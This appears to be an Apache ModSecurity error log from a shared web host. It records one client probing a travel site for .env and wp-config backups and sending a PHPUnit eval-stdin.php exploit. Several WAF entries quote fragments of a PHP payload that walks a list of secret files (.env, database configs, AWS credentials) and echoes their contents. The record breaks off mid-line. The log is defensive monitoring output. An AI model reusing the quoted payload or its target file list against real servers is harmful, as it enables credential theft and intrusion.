[Fri Jul 17 08:55:17.567196 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnSRF0UOO1RzB5_8uBAAAAA4"]
[Fri Jul 17 08:55:17.567581 2026] [authz_core:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-config.php.orig
[Fri Jul 17 08:55:17.567728 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.568103 2026] [authz_core:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-config.php.inc
[Fri Jul 17 08:55:17.568231 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.569441 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup.bkp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.backup.bkp"] [unique_id "almgnVCBpfuYyhJ140vSmwAAAB4"]
[Fri Jul 17 08:55:17.569910 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.backup.bkp"] [unique_id "almgnVCBpfuYyhJ140vSmwAAAB4"]
[Fri Jul 17 08:55:17.570163 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.570349 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnVCBpfuYyhJ140vSmwAAAB4"]
[Fri Jul 17 08:55:17.571013 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/.env.backup"] [unique_id "almgnQ5GPQ6hs4VrfMpBZwAAAAY"]
[Fri Jul 17 08:55:17.571270 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.backup"] [unique_id "almgnQ5GPQ6hs4VrfMpBZwAAAAY"]
[Fri Jul 17 08:55:17.571573 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.backup"] [unique_id "almgnQ5GPQ6hs4VrfMpBZwAAAAY"]
[Fri Jul 17 08:55:17.571723 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.571908 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnQ5GPQ6hs4VrfMpBZwAAAAY"]
[Fri Jul 17 08:55:17.574326 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.578990 2026] [authz_core:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-config.php.dist
[Fri Jul 17 08:55:17.579163 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.580378 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.583583 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.587300 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.589025 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.598293 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.618354 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php','sites/default/settings..."] [hostname "2s-travels.com"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnUkXT4NBqALj2lZ8qwAAABA"]
[Fri Jul 17 08:55:17.618882 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php','sites/default/settings..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnUkXT4NBqALj2lZ8qwAAABA"]
[Fri Jul 17 08:55:17.619586 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array(.env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php ../.aws/credential..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnUkXT4NBqALj2lZ8qwAAABA"]
[Fri Jul 17 08:55:17.620493 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: .env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/config/database.php','application/application/application/application/extra/database.php','app/etc/env.php','sites/default/.aws/credentials','/var/www/html/.env','/var/www/html/.env.local','/var/www/html/.env...."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnUkXT4NBqALj2lZ8qwAAABA"]
[Fri Jul 17 08:55:17.622629 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]* ..." at ARGS_NAMES:strlen($c)>8){echo "\\\\n--- FILE $f ---\\\\n";if(strpos($f,'environ')!. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "123"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: {echo \\x22\\x5cn--- FILE $f ---\\x5cn\\x22;if(strpos($f,'environ found within ARGS_NAMES:strlen($c)>8){echo \\x22\\x5c\\x5cn--- FILE $f ---\\x5c\\x5cn\\x22;if(strpos($f,'environ')!: strlen($c)>8){echo \\x22\\x5cn--- FILE $f ---\\x5cn\\x22;if(strpos($f,'environ')!"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/ [hostname "2s-travels.com"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnUkXT4NBqALj2lZ8qwAAABA"]
[Fri Jul 17 08:55:17.623121 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]* ..." at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "123"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: ;foreach found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php','si [hostname "2s-travels.com"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnUkXT4NBqALj2lZ8qwAAABA"]
[Fri Jul 17 08:55:17.623226 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]* ..." at ARGS:strlen($c)>8){echo "\\\\n--- FILE $f ---\\\\n";if(strpos($f,'environ')!. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "123"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: ;echo $c found within ARGS:strlen($c)>8){echo \\x22\\x5c\\x5cn--- FILE $f ---\\x5c\\x5cn\\x22;if(strpos($f,'environ')!: =false)$c=str_replace(\\x22\\x5c0\\x22,\\x22\\x5cn\\x22,$c);echo $c;}}?>"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnUkXT4NBqALj2lZ8qwAAABA"]
[Fri Jul 17 08:55:17.623407 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:m[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*q[\\"\\\\^]*l(?:[\\"\\\\^]*(?:d[\\"\\\\^]*u[\\"\\\\^]*m[\\"\\\\^]*p(?:[\\"\\\\^]*s[\\"\\\\^ ..." at ARGS_NAMES:strlen($c)>8){echo "\\\\n--- FILE $f ---\\\\n";if(strpos($f,'environ')!. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: {echo found within ARGS_NAMES:strlen($c)>8){echo \\x22\\x5c\\x5cn--- FILE $f ---\\x5c\\x5cn\\x22;if(strpos($f,'environ')!: strlen($c)>8){echo \\x22\\x5cn--- FILE $f ---\\x5cn\\x22;if(strpos($f,'environ')!"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-windows"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnUkXT4NBqALj2lZ8qwAAABA"]
[Fri Jul 17 08:55:17.623904 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:m[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*q[\\"\\\\^]*l(?:[\\"\\\\^]*(?:d[\\"\\\\^]*u[\\"\\\\^]*m[\\"\\\\^]*p(?:[\\"\\\\^]*s[\\"\\\\^ ..." at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: ;foreach found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php', [hostname "2s-travels.com"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnUkXT4NBqALj2lZ8qwAAABA"]
[Fri Jul 17 08:55:17.624000 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:m[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*q[\\"\\\\^]*l(?:[\\"\\\\^]*(?:d[\\"\\\\^]*u[\\"\\\\^]*m[\\"\\\\^]*p(?:[\\"\\\\^]*s[\\"\\\\^ ..." at ARGS:strlen($c)>8){echo "\\\\n--- FILE $f ---\\\\n";if(strpos($f,'environ')!. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: ;echo found within ARGS:strlen($c)>8){echo \\x22\\x5c\\x5cn--- FILE $f ---\\x5c\\x5cn\\x22;if(strpos($f,'environ')!: =false)$c=str_replace(\\x22\\x5c0\\x22,\\x22\\x5cn\\x22,$c);echo $c;}}?>"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-windows"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnUkXT4NBqALj2lZ8qwAAABA"]
[Fri Jul 17 08:55:17.626139 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\b(?:if(?:/i)?(?: not)?(?: exist\\\\b| defined\\\\b| errorlevel\\\\b| cmdextversion\\\\b|(?: |\\\\().*(?:\\\\bgeq\\\\b|\\\\bequ\\\\b|\\\\bneq\\\\b|\\\\bleq\\\\b|\\\\bgtr\\\\b|\\\\blss\\\\b|==))|for(?:/[dflr].*)? %+[^ ]+ in\\\\(.*\\\\)\\\\s?do)" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "413"] [id "932140"] [msg "Remote Command Execution: Windows FOR/IF Command Found"] [data "Matched Data: if($c!== found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array(.env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php ../.aws/creden..."] [severity "CRITICAL"] [v 